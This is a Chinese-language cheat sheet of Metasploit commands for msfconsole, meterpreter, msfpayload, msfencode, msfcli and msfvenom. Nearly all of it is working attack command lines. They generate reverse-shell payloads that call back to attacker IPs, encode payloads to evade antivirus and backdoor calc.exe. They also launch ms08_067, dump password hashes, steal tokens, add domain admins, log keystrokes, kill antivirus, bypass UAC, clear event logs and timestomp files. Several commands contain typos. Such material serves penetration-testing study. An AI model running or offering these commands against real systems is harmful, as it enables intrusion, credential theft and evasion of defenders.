metasploit常用命令
service apache2 start
service postgresql start
msfconsole啟動
1.MSF終端命令
show exploit
列出metasploit框架中的所有滲透攻擊模塊。
show payloads
列出metasploit框架中的所有攻擊載荷。
show auxiliary
列出metasploit框架中的所有輔助攻擊模塊。
search name
查找metasploit框架中的所有滲透攻擊和其他模塊。
info
展示出制定滲透攻擊或模塊的相關信息。
use name
裝載一個滲透攻擊或者模塊。
LHOST
目標主機鏈接的IP地址。
RHOST
遠程主機或者目標主機。
set function
設置特定的配置參數。
setg function
以全局方式設置特定的配置參數。
show options
列出某個滲透攻擊或模塊中所有的參數配置。
show targets
列出滲透攻擊所支持的目標平臺。
set target num
指定你所知道的目標的操作系統以及補丁版本類型。
set payload
指定想要使用的攻擊載荷。
show advanced
列出所有高級配置選項。
set autorunscript migrate -f.
在滲透攻擊完成後,將自動遷移到另一個進程。
check 檢測目標是否對選定滲透攻擊存在相應安全漏洞
exploit
執行滲透攻擊或模塊來攻擊目標。
exploit -j
在計劃任務下進行滲透攻擊(攻擊將在後臺進行)
exploit -z
滲透攻擊成功後不與會話進行交互。
exploit -e encoder
制定使用的攻擊載荷編碼方式
exploit -h
列出exploit命令的幫助信息。
sessions -l
列出可用的交互會話(在處理多個shell時使用)
sessions -l -v
列出所有可用的交互會話以及會話詳細信息,例如:攻擊系統時使用了哪個安全漏洞。
sessions -s script
在所有活躍的meterpreter會話中運行一個特定的meterpreter腳本。
sessions -K
殺死所有活躍的交互會話。
sessions -c cmd
在所有活躍的metaerpreter會話上執行一個命令。
sessions -u sessionID
升級一個普通的win32shell到meterpreter shell。
db_create name
創建一個數據庫驅動攻擊所要使用的數據庫。
db_nmap
利用nmap並把所有掃描數據庫存儲到數據庫中。
db_autopwn -h
展示出db_autopwn命令的幫助信息。
db_autopwn -p -r -e
對所有發現的開放端口執行db_autopwn,攻擊所有系統,並使用一個反彈式shell。
db_destroy
刪除當前數據庫。
db_destroy user:[email protected]:port/database
使用高級選項來刪除數據庫。
2.metapreter命令
help
打開幫助
run scriptname
運行meterpreter腳本,在scripts/meterpreter目錄下可查看到所有腳本名。
sysinfo
列出受控主機的系統信息。
ls
列出目標主機的文件和文件夾信息。
use priv
加載特權提升擴展模塊,來擴展meterpreter庫。
ps
顯示所有運行進程以及關聯的用戶賬戶。
migrate PID
遷移到一個指定的進程ID
use incognito
加載inconito功能(用來盜取目標主機的令牌或是假冒用戶)
list_tokens -u
列出目標主機用戶組的可用令牌。
impersonate_token DOMAIN_NAME\\USERNAME
假冒目標主機上的可用令牌。
steal_token
盜竊給定進程的可用令牌並進行令牌假冒。
drop_token
停止假冒當前的令牌。
getsystem
通過各種攻擊向量來提升到系統用戶權限。
shell
以所有可用令牌來運行一個交互的shell。
execute -f cmd.exe -i
執行cmd.exe命令並進行交互。
execute -f cmd.exe -i -t
以所有可用令牌來執行cmd命令。
execute -f cmd.exe -i -H -t
以所有可用令牌來執行cmd命令並隱藏該進程。
rev2self
回到控制目標主機的初始用戶賬戶下。
reg command
在目標主機註冊表中進行交互,創建,刪除和查詢等操作。
setdesktop number
切換到另一個用戶界面(該功能基於那些用戶已登錄)。
screenshot
對目標主機的屏幕進行截圖。
upload file
向目標主機上傳文件。
download file
從目標主機下載文件。
keyscan_dump存儲目標主機上或許的鍵盤記錄。
getprivs
盡可能多的獲取目標主機上的特權。
uietl enable keyboard/mouse
接管目標主機的鍵盤和鼠標。
background
將你當前的meterpreter shell轉為後臺執行。
hashdump
導出目標主機中的口令哈希值。
use sniffer
加載嗅探模塊。
sniffer_interfaces
列出目標主機所有開放的網絡接口。
sniffer_dump interfaceID pcapname
在目標主機上啟動嗅探。
sniffer_start interfaceID packet_buffer
在目標主機上針對特定範圍的數據包緩沖區啟動嗅探。
sniffer_stats interfaceID
獲取正在實施嗅探網絡接口的統計數據
sniffer_stop interfaceID
停止嗅探。
add_user username password -h ip
在遠程目標主機上添加一個用戶。
add_group_user “Domain Adimins”username -h ip
將用戶添加到目標主機的域管理員組中。
clearev
清除目標主機上的日誌記錄。
timestomp
修改文件屬性,例如修改文件的創建時間(反取證調差)。
reboot
重啟目標主機。
3.MSFpayload命令
msfpayload -h
MSFpayload 的幫助信息。
msfpayload windows/meterpreter/bind_tcp O
列出所有可用的攻擊載荷。
msfpayload windows/metarpreter/bind_tcp O.
列出所有windows/meterpreter/bind_tcp 下攻擊載荷的配置項(任何攻擊載荷都是可以配置的)。
msfpayload windows/metaerpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X>payload.exe
創建一個metarpreter的reverse_tcp 攻擊載荷回連到192.168.1.5的443端口,將其保存為名為payload.exe的windows可執行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R>payload.ray
與上面生成同樣的攻擊載荷,到導成原始格式的文件,該文件將在後面的MSFencode中使用。
msfpayload windows/meterpreter/bind_tcp LPORT=443 C>payload.c
與上面生成同樣的攻擊載荷,但導出成C格式的shellcode。
msfpayload windows/meterpreter/bind_tcp LPORT=443 J>payload.java
導出成以%u編碼方式的javaScript語言字符串。
4.MSFencode命令
msfencode -h
列出MSFencode的幫助信息。
msfencode -l
列出所有可用的編碼器。
msfencode -t(c,eif.exe,java,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
顯示編碼緩沖區的格式。
msfencode -i payload.raw -o encoded_payload,exe -e x86/shikata_ga_nai -c 5 -t exe
使用 shikata_nai編碼器對payload.raw文件進行5次編碼,然後導出一個名為encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -e x86/_countdown -c 5 -t raw|msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
創建一個經過多種編碼格式嵌套編碼的攻擊載荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
創建一個純字母 數字的shellcode,由ESI寄存器指向shellcode,以C語言格式輸出。
5.MSFcli命令。
msfcli | grep exploit
僅列出滲透攻擊模塊。
msfcli | grep exploit/windows
僅列出與Windows相關的滲透攻擊模塊。
msfcli exploit/windows/smb/msf08_067_netapi PYALOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
對172.16.32.142 發起ms08_067_netapi滲透攻擊,配置了bind_tcp攻擊載荷,並綁定在443端口進行監聽。
6.Metasploit高級忍術
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -k -o payload.exe -c x86/shikata_ga_nai -c 7 -t exe
創建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5 主機的443端口,使用calc.exe作為載荷後門程序,讓載荷執行流一直運行在被攻擊的應用程序中,最後生成以.shikata_ga_nai編碼器編碼後的攻擊載荷可執行程序payload.exe。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R|msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
創建一個反彈式的meterpreter攻擊載荷,回連到192.168.1.5主機的443端口,使用calc.exe作為載荷後門程序,不讓載荷執行流一直運行在被攻擊的應用程序中,同時在攻擊載荷執行後也不會再目標主機上彈出任何信息。這種配置非常有用,當你通過瀏覽器漏洞控制了遠程主機,並不想讓計算機程序打開呈現在目標用戶面前,同樣,最後生成用.shikata_ga_nai 編碼的攻擊載荷程序payload.exe。
msfpayload windows/meterpreter/bind_tcp LPORT=443 R|msfencode -0 payload.exe -e x86/shikata_ga_nai -c 7 exe & & msfcli multi/bandler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
創建一個raw格式的bind_tcp模式Meterpreter攻擊載荷,用shikata_ga_nai編碼7次,輸出以payload.exe命名的windows可執行程序文件,同時啟用多路監聽方式進行執行。
7.MSFvenom
利用MSFvenom,一個集成套件,來創建和編碼你的攻擊載荷。
msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe
[*] x86/shikata_ga_nai succeeded with size 317(iteration=1)
root://opt/framework3/msf3#
這一行命令就可以創建一個攻擊載荷並自動產生出可執行文件格式。
8.Meterpreter後滲透攻擊階段命令。
在Windows主機上使用metarpreter進行提權操作。
meterpreter>use priv
meterpreter>getsystem
從一個給定的進程ID中竊取一個域管理員組令牌,添加一個域賬戶,並把域賬戶添加到域管理員組中。
meterpreter>ps
meterpreter>steal_token 1784
meterpreter>shell
c:\windows\sysem32>user metasploit @password /ADD /DOMAIN
c:\windows\sysem32>net group "Domain Admins" metasploit /ADD /DOMAIN
從SAM數據庫中導出密碼的哈希值。
meterpreter>use priv
meterpreter>getsystem
meterpreter>hashdump
提示:在widonws 2008中,如果getsystem命令和hashdump命令拋出異常情況時,你需要遷移到一個以SYSTEM系統權限運行的進程中。
自動遷移到一個獨立進程。
meterpreter>run migrate
通過meterpreter的killav腳步來殺死目標主機運行的殺毒軟件進程。
meterpreter>run kallav
針對一個特定的進程捕獲目標主機上的鍵盤記錄:
meterpreter>ps
meterpreter>migrate 1436
meterpreter>kayscan_start
meterpreter>kayscan_start
meterpreter>keyscan_dump
meterpreter>kayscan_stop
使用匿名方式來假冒管理員:
meterpreter>use incognito
meterpreter>list_tokens -u
meterpreter>use priv
meterpreter>getsystem
meterpreter>list_tokens -u
meterpreter>impersonate_token IHAZSECURITY\\Admininistrator
查看目標主機都采取了那些防範保護措施,列出幫助菜單,關閉防火墻以及其它我們發現的保護措施。
meterpreter>run getcountermeasure
meterpreter>run getcountermeasure -h
meterpreter>run getcountermeasure -d -k
識別被控制的主機是否是一臺虛擬機。
meterpreter>run checkvm
在一個meterpreter會話界面中使用cmd shell。
meterpreter>shell
獲取目標主機的圖形界面(VNC).
meterpreter>run vnc
使正在運行的meterpreter界面在後臺運行。
meterpreter>background
繞過windows的用戶賬戶控制(UAC)機制。
meterpreter>run post/windows/escalate/bypassuac
導出蘋果OS-X系統的口令哈希值。
meterpreter>run post/osx/gather/hashdump
導出linux系統的口令哈希值。
meterpreter>run post/linux/gather/hashdump
metasploit常用命令